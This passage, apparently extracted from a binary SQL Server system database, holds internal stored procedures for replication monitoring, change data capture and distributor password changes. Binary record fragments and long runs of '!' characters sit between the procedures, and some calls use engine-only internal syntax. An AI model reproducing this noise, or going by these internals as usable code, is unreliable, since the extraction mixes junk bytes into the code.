    ,@publication sysname -- cannot be null
    ,@subscriber sysname -- cannot be null
    ,@subscriber_db sysname -- cannot be null
    ,@subscription_type int
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_id int
                ,@publisher_id int
                ,@subscriber_id int
                ,@lastrunts timestamp
                ,@avg_rate float
                ,@xact_seqno varbinary(16)
				,@inactive int = 1
				,@virtual int = -1

    --
    -- PAL security check done inside sp_MSget_repl_commands
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorsubscriptionpendingcmds', 'distribution')
        return 1
    end
    --
    -- validate @subscription_type
    --
    if (@subscription_type not in (0,1))
    begin
        raiserror(14200, 16, 3, '@subscription_type')
        return 1
    end
    --
    -- get the server ids for publisher and subscriber
    --
    select @publisher_id = server_id from sys.servers where upper(name) = upper(@publisher)
    if (@publisher_id is null)
    begin
        raiserror(21618, 16, -1, @publisher)
        return 1
    end
    select @subscriber_id = server_id from sys.servers where upper(name) = upper(@subscriber)
    if (@subscriber_id is null)
    begin
        raiserror(20032, 16, -1, @subscriber, @publisher)
        return 1
    end
    --
    -- get the agent id
    --
    select @agent_id = id
    from dbo.MSdistribution_agents 
    where publisher_id = @publisher_id 
        and publisher_db = @publisher_db
        and publication in (@publication, 'ALL')
        and subscriber_id = @subscriber_id
        and subscriber_db = @subscriber_db
        and subscription_type = @subscription_type
    if (@agent_id is null)
    begin
        raiserror(14055, 16, -1)
        return (1)
    end;
    --
    -- Compute timestamp for latest run
    --
    with dist_sessions (start_time, runstatus, timestamp)
    as
    (
        select start_time, max(runstatus), max(timestamp) 
        from dbo.MSdistribution_history
        where agent_id = @agent_id
        and runstatus in (2,3,4)
        group by start_time 
    )
    select @lastrunts = max(timestamp)
    from dist_sessions;
    if (@lastrunts is null)
    begin
        --
        -- Distribution agent has not run successfully even once
        -- and virtual subscription of immediate sync publication is inactive (snapshot has not run), no point of returning any counts
        -- see SQLBU#320752, orig fix SD#881433, and regression bug VSTS# 140179 before you attempt to fix it differently :)
        if exists (select *
                    from dbo.MSpublications p join dbo.MSsubscriptions s on p.publication_id = s.publication_id
                    where p.publisher_id = @publisher_id 
                        and p.publisher_db = @publisher_db
                        and p.publication = @publication
                        and p.immediate_sync = 1
							and s.status = @inactive and s.subscriber_id = @virtual) 
        begin
		    select 'pendingcmdcount' = 0, N'estimatedprocesstime' = 0
			return 0
        end
        --
        -- Grab the max timestamp
        --
        select @lastrunts = max(timestamp)
        from dbo.MSdistribution_history
        where agent_id = @agent_id
    end
    --
    -- get delivery rate for the latest completed run
    -- get the latest sequence number
    --
    select @xact_seqno = xact_seqno
            ,@avg_rate = delivery_rate
    from dbo.MSdistribution_history
    where agent_id = @agent_id
        and timestamp = @lastrunts
    --
    -- if no rows are selected in last query
    -- explicitly initialize these variables
    --
    select @xact_seqno = isnull(@xact_seqno, 0x0)
            ,@avg_rate = isnull(@avg_rate, 0.0)
    --
    -- if we do not have completed run
    -- get the average for the agent in all runs
    --
    if (@avg_rate = 0.0)
    begin
        select @avg_rate = isnull(avg(delivery_rate),0.0)
        from dbo.MSdistribution_history
        where agent_id = @agent_id
    end
    --
    -- get the count of undelivered commands
    -- PAL check done inside
    --
    DECLARE @countab TABLE ( pendingcmdcount int )
    insert into @countab (pendingcmdcount)
        exec @retcode = sys.sp_MSget_repl_commands 
                                    @agent_id = @agent_id
                                    ,@last_xact_seqno = @xact_seqno
                                    ,@get_count = 2
                                    ,@compatibility_level = 9000000
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- compute the time to process
    -- return the resultset
    --
    select 
        pendingcmdcount  
        ,N'estimatedprocesstime' = case when (@avg_rate != 0.0) 
                                then cast((cast(pendingcmdcount as float) / @avg_rate) as int)
                                else pendingcmdcount end
    from @countab
    --
    -- all done
    --
    return 0
end
0:] 8create procedure [sys].[sp_cdc_disable_db]
as
begin
	declare @retcode int
		,@db_name sysname
  
    -- Verify caller is authorized to disable change data capture for the database 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
   		raiserror(22902, 16, -1)
        return 1
    end
    
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		set @db_name = db_name()
		raiserror(22901, 10, -1, @db_name)
        return 0
    end
    
    exec @retcode = sys.sp_cdc_disable_db_internal
    
    if (@@error <> 0) or (@retcode <> 0)
    begin
		return 1
	end
	
	return 0
end
0 D8pJh
/%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O_`hg<v4
03]S0R 8create procedure [sys].[sp_cdc_disable_db_internal]
as
begin
	declare @retcode int
            ,@is_cdc_enabled bit
            ,@module_name nvarchar(1000)
            ,@db_name sysname
            ,@flush_proc nvarchar(300)
            ,@done_proc nvarchar(300)
            ,@clearcache_proc nvarchar(300)
            ,@object_id int
            ,@raised_error int
            ,@raised_message nvarchar(4000)
            ,@action nvarchar(1000)
            ,@trancount int
            ,@resource nvarchar(255)
            ,@applock_result int
            ,@db_id int
            ,@swuser_flag bit
            ,@column_name sysname
	
    set nocount on

    set @raised_error = 0
    set @db_name = db_name()
    set @db_id = db_id()
    set @resource = N'__$cdc__db_' + convert(nvarchar(10),@db_id)
    set @swuser_flag = 0 
    
    -- Encapsulate transaction logic in TRY/CATCH. 
    BEGIN TRY
    
   		-- Authorization and verification checks have completed.
		-- Open a transaction to begin metadata updates.
		set @trancount = @@trancount
		
		begin tran
		save tran sp_disable_db_change_tracking
    
		--  Get exclusive database lock
		exec @applock_result = sys.sp_getapplock @Resource = @resource, @LockMode = N'Exclusive',
			@LockOwner = 'Transaction', @DbPrincipal = 'db_owner'
 
		If @applock_result < 0
		begin
			-- Lock request failed.
			set @action = N'sys.sp_getapplock @Resource = ' + @resource + N'@LockMode = N''Exclusive'', @LockOwner = ''Transaction'', @DbPrincipal = ''db_owner'' ' 
			raiserror(22840, 16, -1, @action, @applock_result)
		end

		-- The lock request was granted.
		-- Insure database parity is not already disabled before proceeding
		If ([sys].fn_cdc_is_db_enabled() = 0)
		begin
			-- If database is disabled now, another thread was attempting to disable CDC
			-- at the same time. Raise an informational error.
			commit tran
			raiserror(22901, 10, -1, @db_name)
			return 0
		end
		
		-- Drop the CDC capture job if it exists
		BEGIN TRY
			exec [sys].[sp_cdc_drop_job] @job_type = N'capture'
		END TRY
		BEGIN CATCH	
			-- even if drop fails, continue on
		END CATCH	

		-- Drop the CDC cleanup job if it exists
		BEGIN TRY
			exec [sys].[sp_cdc_drop_job] @job_type = N'cleanup'
		END TRY
		BEGIN CATCH	
			-- even if drop fails, continue on
		END CATCH
		
    	--
		-- Unmark all tables as tracked for CDC
		--  in a brute force way
		--
		DECLARE #hC CURSOR LOCAL FAST_FORWARD FOR 
		SELECT object_id from sys.tables
		WHERE is_tracked_by_cdc = 1
		OPEN #hC 
		FETCH #hC into @object_id
		WHILE (@@fetch_status <> -1) 
		BEGIN
			BEGIN TRY	 
		        declare #hcolumn cursor local fast_forward
		        for
			        select name from sys.columns where object_id = @object_id

		        open #hcolumn
		        fetch #hcolumn into @column_name

		        while (@@fetch_status <> -1)
		        begin
			        --clear this bit on source table column to unblock updatetext/writetext operation, exposed by columnproperty(..,.., 'is_cdctracked')
			        EXEC %%ColumnEx(ObjectID = @object_id, Name = @column_name).SetCDCTracked(Value = 0)

			        fetch #hcolumn into @column_name
		        end
		        
		        close #hcolumn
		        deallocate #hcolumn
			END TRY
			BEGIN CATCH
				-- Continue even if a failure is encountered here
			END CATCH		

			BEGIN TRY	 
				exec sp_MSverboselogging @object_id, 0
			END TRY
			BEGIN CATCH
				-- Continue even if a failure is encountered here
			END CATCH		
			FETCH #hC into @object_id
		END 
		CLOSE #hC 
		DEALLOCATE #hC 
		
		-- We need the cdc user to insure that we can mitigate against
		-- the use of malicious DDL triggers. If the cdc user was removed,
		-- we will recreate it here and remove it on exit.
		if database_principal_id ('cdc') is null
		begin
			-- Switch to 'dbo' before creating the cdc schema and user.
			-- This is the 'dbo' user of the database to be enabled,
			-- not the 'dbo' of the resource database.
			execute as user = 'dbo'
			set @swuser_flag = 1
	    
			-- Create database CDC user
			set @action = N'create user cdc'
			create user [cdc] without login with default_schema = [cdc];
   
			-- Make 'cdc' user member of 'db_owner' for database
			set @action = N'sp_addrolemember ''db_owner'', ''cdc'''
			exec sp_addrolemember 'db_owner' , 'cdc'
		
			revert
			set @swuser_flag = 0
		end

		--
		-- If transactional replication is not enabled, we'll clear out dbtable fields
		-- 
		if not exists (select * from sys.databases where database_id = db_id() and is_published = 1) 
		begin
			SELECT @flush_proc = QUOTENAME(@db_name) + N'.sys.sp_replflush'
			SELECT @done_proc  = QUOTENAME(@db_name) + N'.sys.sp_repldone'
			SELECT @clearcache_proc = QUOTENAME(@db_name) + N'.sys.sp_replhelp'

			set @action = N'sys.sp_replflush'
			exec @flush_proc
			
			set @action = N'sys.sp_repldone NULL, NULL, 0, 0, 1'
			exec @done_proc NULL, NULL, 0, 0, 1

			set @action = N'sys.sp_replflush'
			exec @flush_proc
			
			set @action = N'.sys.sp_replhelp N''ClearDbArticleCache'''
			EXEC @clearcache_proc N'ClearDbArticleCache' --clear article cache for this database

			set @action = N'.sys.sp_replhelp N''DisablePerDbHistoryCache'''
			EXEC @clearcache_proc N'DisablePerDbHistoryCache' --clear DMV cache for this database

			IF EXISTS
			(
				SELECT	*
				FROM	sys.objects
				WHERE	name = N'systranschemas'
				AND	ObjectProperty(object_id('systranschemas'), 'IsTable') = 1
			)
			BEGIN
					-- Switch to database user 'cdc' to drop table
					execute as user = 'cdc'
					set @swuser_flag = 1
				
					set @action = N'DROP TABLE dbo.systranschemas'
					DROP TABLE dbo.systranschemas
				
					revert
					set @swuser_flag = 0
  			END
        
		end

		-- Invoke unsetting CDC bit on this database.  Error is caught in CATCH block.
		set @action = N'SetCDCTracked(Value = 0)'
		exec %%DatabaseEx(Name = @db_name).SetCDCTracked(Value = 0)

		set @action = N'[sys].[sp_replflush]'
		exec sys.sp_replflush

		-- Drop the objects in the database reserved for exclusive use by change data capture.
		-- Error is caught in CATCH block. To mitigate against malicious DDL trigggers,
		-- sp_cdc_drop_objects executes as database user 'cdc'.
		execute as user = 'cdc'
		set @swuser_flag = 1

		set @action = N'[sys].[sp_cdc_drop_objects]'
		exec [sys].[sp_cdc_drop_objects]
		
		set @action = N'[sys].[sp_MScdc_ddl_database triggers] ''drop'''
		exec [sys].[sp_MScdc_ddl_database_triggers] 'drop'
	
		-- Switch to database 'dbo' user to drop the 'cdc' user
		revert
		set @swuser_flag = 0
		execute as user = 'dbo'
		set @swuser_flag = 1
		
		set @action = N'drop user cdc'
		drop user cdc
			
		-- Actions that could fire database DML or DDL triggers have completed.	
		revert
		set @swuser_flag = 0

		set @action = N'[sys].[sp_MScdc_ddl_server_trigger] ''drop'''
		exec [sys].[sp_MScdc_ddl_server_trigger] 'drop'
		
		commit tran
    
    END TRY
    
    BEGIN CATCH
    
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_disable_db_change_tracking
				commit tran
			end
		end
     
		-- Save the error number and associated message raised in the TRY block
		select @raised_error = ERROR_NUMBER()
		select @raised_message = ERROR_MESSAGE()
		
    END CATCH
    
	if @swuser_flag = 1
	begin
		revert
	end	

	if @raised_error = 0
		return 0
		
    raiserror(22831, 16, -1, @db_name, @action, @raised_error, @raised_message)  
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`c<R5
v0lܴ03@ 8
--
-- Name:    
--        sp_MSrepl_summaryagentstatus
--            
-- Description: 
--        Called by sp_MSrepl_summarypublication in the context of the 
--        distribution database to get snapshot and log reader agent status
--        for a publication
--
-- Security: 
--        Public, PAL access 
--  Requires Certificate signature for catalog access
--
-- Returns:     
--        0 : success
--        1 : failure          
--
CREATE PROCEDURE sys.sp_MSrepl_agentstatussummary
(
    @publisher     sysname,
    @publisher_db  sysname,
    @publication   sysname,
    @snap_status   int           OUTPUT,
    @snap_time     datetime      OUTPUT,
    @snap_comments nvarchar(255) OUTPUT,
    @snap_duration int OUTPUT,
    @log_status    int           OUTPUT,
    @log_time      datetime      OUTPUT,
    @log_comments  nvarchar(255) OUTPUT,
    @log_duration int OUTPUT
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE    @snap_agent_id int,
            @log_agent_id  int,
            @retcode       int

    --
    -- PAL check and validate publication
    --
    exec @retcode = sp_MSreplcheck_pull    @publication = @publication,
                                        @raise_fatal_error = 0
    IF (@@error != 0) or (@retcode != 0)
        RETURN 1

    -- Initialize output params
    SELECT @snap_status   = 0,
            @snap_time     = NULL,
            @snap_comments = formatmessage(14196),
            @snap_duration = 0,
            @log_status    = 0,
            @log_time      = NULL,
            @log_comments  = formatmessage(14196),
            @log_duration = 0

    -- Get snapshot agent id (skip dynamic snapshot agents)
    SELECT    @snap_agent_id = SA.id
    FROM    dbo.MSsnapshot_agents AS SA, 
            sys.servers AS SS
    WHERE    SA.publisher_id = SS.server_id
        AND    SA.publisher_db = @publisher_db
        AND    SA.publication  = @publication
        AND    UPPER(SS.name COLLATE DATABASE_DEFAULT) = UPPER(@publisher) COLLATE DATABASE_DEFAULT
        AND    SA.dynamic_filter_login is NULL
        AND    SA.dynamic_filter_hostname is NULL

    -- Get logreader agent id
    SELECT    @log_agent_id = LA.id  
    FROM    dbo.MSlogreader_agents AS LA, 
            sys.servers SS
    WHERE    LA.publisher_id = SS.server_id
      AND    LA.publisher_db = @publisher_db
      AND    UPPER(SS.name COLLATE DATABASE_DEFAULT) = UPPER(@publisher) COLLATE DATABASE_DEFAULT

    -- Get snapshot agent summary
    IF EXISTS
    (
        SELECT    *
        FROM    dbo.MSsnapshot_history with (READPAST) 
        WHERE    agent_id = @snap_agent_id
    )
    BEGIN
        SELECT TOP(1)
                 @snap_status   = runstatus,
                 @snap_time     = sys.fn_replformatdatetime(start_time),
                 @snap_comments = comments,
                 @snap_duration = duration
        FROM     dbo.MSsnapshot_history with (READPAST) 
        WHERE     agent_id = @snap_agent_id
        ORDER BY time DESC, timestamp DESC
    END

    -- Get logreader agent summary
    IF EXISTS
    (
        SELECT    *  
        FROM    dbo.MSlogreader_history with (READPAST) 
        WHERE    agent_id = @log_agent_id
    )
    BEGIN
        SELECT     TOP(1)
                 @log_status    = runstatus,
                 @log_time      = sys.fn_replformatdatetime(start_time),
                 @log_comments  = comments,
                 @log_duration = duration
        FROM     dbo.MSlogreader_history with (READPAST) 
        WHERE     agent_id = @log_agent_id
        		and comments not like N'<stats state%'
        ORDER BY time DESC, timestamp DESC
    END

    RETURN (0)
END
0l@ 8CREATE PROCEDURE sys.sp_changelogreader_agent 
(
	@job_login					nvarchar(257)	= NULL,
	@job_password				sysname 		= NULL,
	@publisher_security_mode	smallint		= NULL,
	@publisher_login			sysname 		= NULL,
	@publisher_password 		sysname 		= NULL,
	@publisher					sysname 		= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changelogreader_agent'

	EXEC @retcode = @cmd
					@job_login					= @job_login,
					@job_password				= @job_password,
					@publisher_security_mode	= @publisher_security_mode,
					@publisher_login			= @publisher_login,
					@publisher_password 		= @publisher_password,
					@publisher					= @publisher,
					@publisher_type 			= @publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&`	<	X6

`q0 8CREATE VIEW sys.dm_hadr_availability_replica_states AS
	SELECT
		ars.replica_id,
		ars.group_id,
		ars.is_local,
		ars.role,
		ars.role_desc,
		ars.operational_state,
		ars.operational_state_desc,
		ars.connected_state,
		ars.connected_state_desc,
		recovery_health = CASE
			WHEN dbs.database_state_aggr IS NULL THEN NULL
			WHEN ars.configured_database_count > dbs.database_count THEN CAST (0 AS TINYINT)	-- ONLINE_IN_PROGRESS
			WHEN dbs.database_state_aggr = 0 THEN CAST (1 AS TINYINT)							-- ONLINE
			ELSE CAST (0 AS TINYINT) END,														-- ONLINE_IN_PROGRESS
		recovery_health_desc = CASE
			WHEN dbs.database_state_aggr IS NULL THEN CAST (NULL AS NVARCHAR(60))
			WHEN ars.configured_database_count > dbs.database_count THEN CAST ('ONLINE_IN_PROGRESS' AS NVARCHAR(60))
			WHEN dbs.database_state_aggr = 0 THEN CAST ('ONLINE' AS NVARCHAR(60))
			ELSE CAST ('ONLINE_IN_PROGRESS' AS NVARCHAR(60)) END,
		synchronization_health = CASE
			WHEN dbs.synchronization_health_aggr IS NULL THEN CAST (0 AS TINYINT)				-- NOT_HEALTHY
			WHEN ars.configured_database_count > dbs.database_count THEN CAST (0 AS TINYINT)	-- NOT_HEALTHY (one or more DBs not joined)
			ELSE CAST (dbs.synchronization_health_aggr AS TINYINT) END,
		synchronization_health_desc = CASE
			WHEN dbs.synchronization_health_aggr IS NULL THEN CAST ('NOT_HEALTHY' AS NVARCHAR(60))
			WHEN ars.configured_database_count > dbs.database_count THEN CAST ('NOT_HEALTHY' AS NVARCHAR(60))
			WHEN dbs.synchronization_health_aggr = 2 THEN CAST ('HEALTHY' AS NVARCHAR(60))
			WHEN dbs.synchronization_health_aggr = 1 THEN CAST ('PARTIALLY_HEALTHY' AS NVARCHAR(60))
			ELSE CAST ('NOT_HEALTHY' AS NVARCHAR(60)) END,
		ars.last_connect_error_number,
		ars.last_connect_error_description,
		ars.last_connect_error_timestamp
	FROM 
		sys.dm_hadr_internal_availability_replica_states ars
		LEFT OUTER JOIN
		(
			SELECT 
				replica_id,
				database_count = COUNT (*),
				synchronization_health_aggr = MIN (synchronization_health),
				database_state_aggr = MAX (database_state) 
			FROM 
				sys.dm_hadr_database_replica_states 
			GROUP BY replica_id
		)
		AS dbs
		ON ars.replica_id = dbs.replica_id
0@ 8create procedure sys.sp_changedistributor_password (
    @password sysname       
    ) AS

    declare @distributor sysname
    declare @distnetname sysname
    declare @retcode int
    declare @login sysname

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @login = 'distributor_admin'
    SELECT @distributor = NULL
    SELECT @distributor = srvname, @distnetname = datasource 
        FROM master.dbo.sysservers
        WHERE  srvstatus & 8 <> 0
    
    exec @retcode = sys.sp_addlinkedsrvlogin 
        @rmtsrvname= @distributor,
        @useself = 'false',
        @locallogin = NULL,
        @rmtuser = @login,
        @rmtpassword = @password
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END

    if UPPER(@distnetname) = UPPER(@@servername)
    begin
            -- Change the password if the distributor is local
        EXEC @retcode = sys.sp_password NULL, @password, 'distributor_admin'
        if @@error <> 0 or @retcode <> 0
            return(1)
    end

    return (0)
0t% j8create procedure sys.sp_MSgettranconflictname (
@publication sysname,
@source_object nvarchar(540),
@str_prefix nvarchar(30) = NULL,
@conflict_table sysname = NULL OUTPUT)
AS
begin
    declare @objid              int
    declare @retcode            int
    declare @object_name        sysname
    declare @name_out           sysname
    declare @pubid              int
    declare @article            sysname
    declare @artid              int
    declare @prefixlen          int

    if (@str_prefix is NULL)
        select @str_prefix = 'conflict_'

    select @prefixlen = len(@str_prefix)

    select @pubid=pubid from syspublications 
        where name=@publication

    select @objid = object_id(@source_object)
    select @artid = artid, @article=name from sysarticles 
        where objid = @objid and pubid=@pubid

    if len(@publication) + len(@article) > 128 - @prefixlen -1   -- sysname minus prefix len
    begin
        select @object_name = @str_prefix + 
            convert(nvarchar(59), @publication) + 
            '_' + convert(nvarchar(59), @article)
    end
    else
    begin
        select @object_name = @str_prefix + @publication + '_' + @article
    end
    select @conflict_table = @object_name
    exec @retcode = sys.sp_MSuniqueobjectname @object_name, @conflict_table OUTPUT
end
0Wˬ D8Fqhj&0f^ 08create function sys.fn_cdc_get_column_ordinal_internal				
(														
	@source_schema	sysname,
	@source_name sysname,
	@column_name sysname
)
returns int
with execute as 'dbo'
as													
begin

	declare @ordinal_position int
	
	select @ordinal_position = t.ordinal_position - 5
	from INFORMATION_SCHEMA.COLUMNS t
	where t.table_catalog = db_name()
	and   t.table_schema  = @source_schema
	and   t.table_name    = @source_name
	and   t.column_name   = @column_name
	
	return @ordinal_position
end
0I= D8:Lh
E-
0U)@ D8ChC#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\
&	`,
+
<v7
00Z (8create procedure [sys].[sp_cdc_cleanup_change_table_internal]
(
	@capture_instance sysname,
	@low_water_mark	binary(10),
	@threshold bigint
)
as
begin
	declare @retcode int
			,@old_low_water_mark binary(10)
			,@high_water_mark binary(10)
			,@db_name sysname
			,@xstr1 nvarchar(22)
			,@xstr2 nvarchar(22)
			,@xstr3 nvarchar(22)
			,@retention bigint
	
    set nocount on
    
    set @db_name = db_name()

	select @high_water_mark = [sys].[fn_cdc_get_max_lsn]()
			
	if (@@error != 0)
	begin
		raiserror(22955, 16, -1)
		return 1
	end
	
	if (@low_water_mark is not null)
	begin
		-- If the cleanup request is for a single capture instance, the new low
		-- water mark must be within the change data capture timeline for the
		-- capture instance.
		if (@capture_instance is not null)
		begin 	
			select @old_low_water_mark = [sys].[fn_cdc_get_min_lsn] (@capture_instance)
			
			if (@@error != 0)
			begin
				raiserror(22956, 16, -1, @capture_instance)
				return 1
			end
		
			if (@low_water_mark < @old_low_water_mark) OR (@low_water_mark > @high_water_mark)	
			begin
				set @xstr1 = upper(sys.fn_varbintohexstr(@low_water_mark))
				set @xstr2 = upper(sys.fn_varbintohexstr(@old_low_water_mark))
				set @xstr3 = upper(sys.fn_varbintohexstr(@high_water_mark))
				raiserror(22957, 16, -1, @xstr1, @capture_instance, @xstr2, @xstr3)
				return 1
			end
		end
		else
		begin
			-- If the capture instance is null, set the old low water mark to the
			-- smallest start_lsn value present in the cdc.lsn_time_mapping table.
    		select @old_low_water_mark = min(start_lsn) from
    		[cdc].[lsn_time_mapping]
		end
	
		-- If there are other LSN values that share the same commit time, choose
		-- the smallest of these values as the adjusted low water mark. This insures
		-- that all change table entries sharing the same commit time as that of the
		-- chosen low water mark are also retained.
		select @low_water_mark = min(start_lsn) from 
		[cdc].[lsn_time_mapping]
		where tran_end_time = sys.fn_cdc_map_lsn_to_time(@low_water_mark)
        
		if (@low_water_mark is not null) 
		begin
		
			-- Update start_lsn values in cdc.change_tables to reflect the new
			-- low water mark. 
			update [cdc].[change_tables]
			set start_lsn = @low_water_mark
			where ((@capture_instance is null) or (capture_instance = @capture_instance))
			and start_lsn < @low_water_mark
			
			if (@@error <> 0)
			begin
				raiserror(22851, 16, -1, @db_name)
				return 1
			end
			
		end
   	
   	end

    -- We come here whether or not the low water mark has been modified. This allows
    -- us to use a best effort approach when deleting entries from the change tables
    -- and from the cdc.lsn_time_mapping table. If all obsolete entries do not get removed 
    -- on any given run, attempts will be made on all subsequent runs until the change 
    -- entries are removed.  
    exec [sys].[sp_cdc_cleanup_change_tables]
		@threshold, @capture_instance
     
    return 0

end
